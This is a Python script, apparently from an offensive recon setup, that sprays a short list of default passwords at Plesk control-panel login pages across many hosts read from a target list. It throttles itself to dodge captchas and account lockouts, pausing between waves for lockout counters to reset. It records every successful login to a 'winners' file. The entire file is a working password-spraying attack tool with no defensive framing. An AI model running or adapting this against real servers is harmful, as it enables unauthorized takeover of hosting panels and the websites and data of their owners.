import asyncio, re, time, json
import aiohttp

SEM = asyncio.Semaphore(25)
PASSWORDS = [["admin", "password", "Plesk1234!", "123456"],
             ["qwerty", "Passw0rd!", "plesk123", "welcome"]]
USERS = ["admin", "root"]


def load():
    out = []
    for line in open("/root/recon/lists/zimbra.txt"):
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


async def try_login(sess, base, user, pwd):
    try:
        async with sess.get(f"{base}/login_up.php", ssl=False) as r:
            html = await r.text()
        fields = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
        fields.pop("login_name", None)
        fields.pop("passwd", None)
        fields["login_name"] = user
        fields["passwd"] = pwd
        fields.setdefault("locale_id", "en-US")
        async with sess.post(f"{base}/login_up.php", data=fields, ssl=False,
                             allow_redirects=False, max_redirects=0) as r2:
            body = await r2.text()
            loc = (r2.headers.get("Location") or "")
            low = body.lower()
            lock = "too many" in low or "captcha" in low or "locked" in low
            ok = (r2.status in (301, 302, 303) and "login" not in loc.lower()) or \
                 ("logout" in low and "login_name" not in low)
            return {"ok": ok, "st": r2.status, "loc": loc[:50], "lock": lock}
    except Exception as e:
        return {"ok": False, "err": type(e).__name__}


async def main():
    hosts = load()
    print("hosts", len(hosts))
    tout = aiohttp.ClientTimeout(total=25, connect=8, sock_read=15)
    winners = []
    blocked = set()
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as sess:
        for wi, pwlist in enumerate(PASSWORDS):
            print(f"--- wave {wi+1}: {pwlist}", flush=True)
            t0 = time.time()
            results = []

            async def one(h, pwd, user="admin"):
                ip, port, sc = h
                if ip in blocked:
                    return
                async with SEM:
                    r = await try_login(sess, f"{sc}://{ip}:{port}", user, pwd)
                if r.get("ok"):
                    winners.append((ip, port, user, pwd))
                    print(f"  !! LOGIN {ip}:{port} {user}/{pwd} st={r['st']} loc={r['loc']}", flush=True)
                if r.get("lock"):
                    blocked.add(ip)
                    print(f"  ~~ locked {ip}", flush=True)
                results.append(r)

            await asyncio.gather(*[one(h, pwd) for h in hosts for pwd in pwlist])
            print(f"wave {wi+1} done in {time.time()-t0:.0f}s, locks={len(blocked)}, wins={len(winners)}", flush=True)
            if wi == 0:
                print("sleep 6 min for lockout reset", flush=True)
                await asyncio.sleep(360)
    open("/root/recon/plesk_winners.tsv", "w").write("\n".join("\t".join(map(str, w)) for w in winners))
    print("TOTAL WINS:", winners)

asyncio.run(main())
